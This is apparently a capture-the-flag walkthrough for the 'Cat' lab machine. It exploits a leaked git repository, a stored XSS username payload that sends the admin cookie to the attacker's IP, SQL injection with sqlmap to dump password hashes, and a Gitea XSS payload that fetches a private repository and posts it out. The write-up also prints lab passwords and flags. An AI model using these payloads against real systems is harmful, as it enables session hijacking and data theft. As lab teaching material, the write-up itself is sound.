Cat


Summary

A web application leaks its own source code in a git repository. The site also allows us to restrictively upload information to it, which will then be inspected by the administrator. While the upload form itself is sanitized, we can inject a XSS payload as our username to steal the administrator’s PHP session cookie, in order to gain access to prior unreachable endpoints. Since one of these endpoints suffers from a SQL Injection vulnerability, we can extract user accounts and their password hashes, which we crack and use to get a foothold into the system. Since the compromised user is allowed to read authentication logs, we can extract a password sent in clear text and pivot to another account.

On this newly compromised account, we can read an internal email, which mentions a local Gitea instance suffering from a stored XSS vulnerability. We can create a repository on this service in which we embed the payload, and send the link to another user on the system via email, who will trigger it. Using this, we get indirect access to a hidden repository containing the password of the root account on the machine.

Solution

Reconnaissance

Using Nmap, we can discover two open ports on the target.

nmap -sC -sV 10.10.11.53 -p- -oN nmap.txt -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-06 14:18 CET
Nmap scan report for 10.10.11.53
Host is up (0.064s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://cat.htb/

The web service on port 80 already wants to forward us to the domain cat.htb, which is why we should add it to our /etc/hosts file. Afterwards, we can reach the site.

Pasted image 20250306142001.png The found web page is about a cat competition, allowing users to upload information and pictures of cats, and vote for a winner. However, a user needs to create an account to upload a cat, for which we can use the /join.php page. In addition to the endpoints we can see on the site, there might be more. To enumerate them, let’s run Gobuster. Since we already know that this site uses PHP due to the site extensions, we should add this extension to the scan.

gobuster dir -u http://cat.htb -w /usr/share/wordlists/dirb/big.txt -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cat.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 272]
/.htpasswd            (Status: 403) [Size: 272]
/.htaccess.php        (Status: 403) [Size: 272]
/.htpasswd.php        (Status: 403) [Size: 272]
/admin.php            (Status: 302) [Size: 1] [--> /join.php]
/config.php           (Status: 200) [Size: 1]
/contest.php          (Status: 302) [Size: 1] [--> /join.php]
/css                  (Status: 301) [Size: 300] [--> http://cat.htb/css/]
/img                  (Status: 301) [Size: 300] [--> http://cat.htb/img/]
/index.php            (Status: 200) [Size: 3075]
/join.php             (Status: 200) [Size: 4004]
/logout.php           (Status: 302) [Size: 0] [--> /]
/server-status        (Status: 403) [Size: 272]
/uploads              (Status: 301) [Size: 304] [--> http://cat.htb/uploads/]
/vote.php             (Status: 200) [Size: 1242]
/winners              (Status: 301) [Size: 304] [--> http://cat.htb/winners/]
/winners.php          (Status: 200) [Size: 5082]
Progress: 40938 / 40940 (100.00%)
===============================================================
Finished
===============================================================

We can find some more endpoints, such as /admin.php and /uploads, however we don’t have any access to them. Let’s create a test account with the credentials test:test and some dummy email, in order to log into the site. Once we are logged in, we have the permissions to fill out the following form to upload a cat.

Pasted image 20250306142342.png

At first, I thought we may be able to upload malicious files as the cat photo, however we can find something else. On the website, there is the /.git folder endpoint, which we are not allowed to access. Nevertheless, we can still visit files in this folder such as /.git/HEAD, meaning we can download this directory. Maybe this is where we can gather more information about the site. By using a tool such as Git-Dumper, we can automate the download process. In this repository, there are all PHP file present of the web server, allowing us to analyze the code of the web pages in more detail.

User Flag

We won’t go into depth for every file on here. However, there are a few findings we can discuss. First, the code tells us that our uploads will be presented to the administrator on the /admin.php endpoint, showing them our uploaded information, as well as our username. This opens up the possibility for XSS. Since there seems to be a XSS filter in place for the cat’s name, the only unfiltered input field for the XSS is our username. If we can trigger this vulnerability, the code will execute in the administrator’s browser. Using this, we can send ourselves their sessions cookies, with which we may be able to access this site as the administrator ourselves. We only require a fitting XSS payload, such as the one from here.

<script>var i=new Image; i.src="http://10.10.16.5:8081/?"+document.cookie;</script>

After creating a new account with this payload as our username, we can upload another cat. Before we send it, we need to spawn a python web server on the specified port. We can then catch the response, as well as the PHPSESSID cookie.

python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.10.11.53 - - [06/Mar/2025 15:13:18] "GET /?PHPSESSID=qunp2hcauksh1pf0c76nettl0h HTTP/1.1" 200 -

In the browser, we can overwrite our cookie with the extracted one, allowing us to visit the site as the Administrator. Now, we have access to the /admin.php endpoint.

Pasted image 20250306151512.png

We also now have access to delete_cat.php and accept_cat.php, since they relate to the red and green button respectively. Since we have the source code to both of these files, let’s analyze them.

if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        if (isset($_POST['catId']) && isset($_POST['catName'])) {
            $cat_name = $_POST['catName'];
            $catId = $_POST['catId'];
            $sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
            $pdo->exec($sql_insert);

            $stmt_delete = $pdo->prepare("DELETE FROM cats WHERE cat_id = :cat_id");
            $stmt_delete->bindParam(':cat_id', $catId, PDO::PARAM_INT);
            $stmt_delete->execute();

This code snippet from the accept_cat.php file is of interest to us, as it makes two database transactions to a SQLite instance. While the second query is protected with the bindParam call, the first one suffers from a SQL injection vulnerability, since there is no filter for the catName parameter.

Let’s use SQLmap to exploit this vulnerability and feed it with all information we have gathered, as well as the admin cookie.

sqlmap -u http://cat.htb/accept_cat.php --cookie='PHPSESSID=abap0eugnqfgjp7t4d6a8k0mrd' --dbms='sqlite' --data="catName=test&catId=1" -p "catName" --level 5 --tables
<cut>
SQLite_masterdb
<cut>
[4 tables]
+-----------------+
| accepted_cats   |
| cats            |
| sqlite_sequence |
| users           |
+-----------------+
<cut>

Now we have the names of all tables in the database, as well as the database name. We can use this information to dump all columns of the users table using the --columns flag. From there, we will focus on username and password. We are left with this command to extract all relevant entries from the database.

sqlmap -u http://cat.htb/accept_cat.php --cookie='PHPSESSID=arfcbc70vhpkhm76f3vcjob8jb' --dbms='sqlite' --data="catName=test&catId=1" -p "catName" --level 5 -D SQLite_masterdb -T users -C username,password --dump
<cut>
+----------+----------------------------------+
| username | password                         |
+----------+----------------------------------+
| axel     | d1bbba3670feb9435c9841e46e60ee2f |
| rosa     | ac369922d560f17d6eeb8b2c7dec498c |
| robert   | 42846631708f69c00ec0c0a8aa4a92ad |
| fabian   | 39e153e825c4a3d314a0dc7f7475ddbe |
| jerryson | 781593e060f8d065cd7281c5ec5b4b86 |
| larr     | 1b6dce240bbfbc0905a664ad199e18f8 |
+----------+----------------------------------+
<cut>

Since these are password hashes and not clear text password, we need to first crack them. Let’s add them all to a file and call Hashcat to analyze the hash types. Remember to add the --user flag.

axel:d1bbba3670feb9435c9841e46e60ee2f
rosa:ac369922d560f17d6eeb8b2c7dec498c
robert:42846631708f69c00ec0c0a8aa4a92ad
fabian:39e153e825c4a3d314a0dc7f7475ddbe
jerryson:781593e060f8d065cd7281c5ec5b4b86
larr:1b6dce240bbfbc0905a664ad199e18f8

Hashcat guesses multiple hash types, however we find success if we use type 0 for MD5 hashes.

hashcat hash --user -m 0 /usr/share/wordlists/rockyou.txt

<cut>
ac369922d560f17d6eeb8b2c7dec498c:soyunaprincesarosa
<cut>

That’s a hit for the rosa user. We can also use these credentials to log into the system via SSH and get a foothold onto the system.

Pasted image 20250306164821.png

This user sadly does not come with any special privileges besides an unusual group membership.

id
uid=1001(rosa) gid=1001(rosa) groups=1001(rosa),4(adm)

Members of the adm group are allowed to access some system log files at /var/log, which is also the directory where many services place their logs. In general these files are very long and it is tedious to work through them. However, if we restrict our search effort to files related to authentication, since we would like to maybe uncover a password if possible. In the very beginning of the /var/log/apach2 file using the head -n 20 command, we can discover something.

127.0.0.1 - - [06/Mar/2025:12:13:17 +0000] "GET /join.php HTTP/1.1" 200 1683 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [06/Mar/2025:12:13:18 +0000] "GET /css/styles.css HTTP/1.1" 200 1155 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [06/Mar/2025:12:13:18 +0000] "GET /favicon.ico HTTP/1.1" 404 485 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [06/Mar/2025:12:13:19 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"

This file contains an authentication attempt from the axel user on the website we just used to gain a foothold. Due to the missing encryption on HTTP, we can read the password from the GET request’s URL: axel:aNdZwgC4tI9gnVXv_e3Q. By using this credential pair, we can log into the axel account via SSH and claim the user flag.

Pasted image 20250306172405.png

d42d7352997d8bdebb6f39141648a3fb

Root Flag

In the greetings text of the SSH login, it mentions that we have mail. We can read it at /var/mail/axel.

From rosa@cat.htb  Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
        for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
        for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services

Hi Axel,

We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

From rosa@cat.htb  Sat Sep 28 05:05:28 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
        for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
        for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

This mail mentions a website on localhost:3000, which we should probably check out. For our own comfort, we should forward this port to our attacking machine, for which we can use our existing SSH connection.

ssh axel@cat.htb -L 3000:localhost:3000

When we now visit localhost:3000 in our browser, we can see a running Gitea instance. While we can use our existing credentials for axel to log into this application, we don’t have access to the repository mentioned in the email.

Pasted image 20250306165641.png

Since Gitea already presents its version to us as 1.22.0, we can quickly research known vulnerabilities where we encounter a Stored XSS Vulnerability for this version.

Let’s make a summary of the situation: The user jobert likely has access to the repository mentioned in the email, while we do not. However, if we send him a link to a repository, he will review it. In addition, we are able to store XSS in our own repositories, which allows us to execute code on a target if he opens the repository. This sound like a fitting exploit chain, if we can manage to create a payload, which will fetch the repository in question as the jobert user and send its content to us. For this, we can create an HTML-wrapped JavaScript payload such as this:

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management') .then(response => response.text()) .then(data => fetch('http://10.10.16.5:8081/', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ content: data }) }))"> XSS test </a>

At this point, we can create a new repository on the Gitea site, and put our payload in the description field. While I added a README.md file, I don’t believe this to be necessary. Once this repository is online, we only need to send it to jobert@localhost using axel@localhost. In order to use the local mail service on port 25, let’s also forward it to our attacking host via SSH in a new session.

ssh axel@cat.htb -L 25:localhost:25

Using the following syntax for swaks, we can send a mail to the localhost to the jobert, only containing the link to our repository.

swaks --to "jobert@localhost" --from "axel@localhost" --server localhost --header "website" --body "http://localhost:3000/alex/test"

Once we send it, we will get a callback to our attacking machine, due to the XSS payload. Since our payload uses a POST request, which is not supported by the python3 web server, we should instead spawn a Netcat listener in said port. Once the request goes through, we get a very long URL encoded string of the hidden repositories HTML code from Gitea. We can copy and paste it into a website such as URL Decode and Encode - Online, save the decoded output to a .html file, and open with a browser of our choice. The results will be jobert’s browser view of the repository.

Pasted image 20250306182437.png

Now, we can dig through this repository be replaying the same steps and embedding a different retrieval link in our XSS payload. If we request the PHP file at administrator/Employee-management/src/branch/main/in dex.php this way, we can find a pair of credentials.

<?php
	$valid_username = 'admin';
	$valid_password = 'IKw75eR0MR7CMIxhH0';
	
	if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||
	$_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
	
	header('WWW-Authenticate: Basic realm="Employee Management"');
	header('HTTP/1.0 401 Unauthorized');
	exit;
	}
	
	header('Location: dashboard.php');
	exit;
	?>

This looks like a promising find. Using this password, we can log into the root account on the target and claim the root flag.

Pasted image 20250306193622.png

065cee3431732b61682acbdfb3b9dd76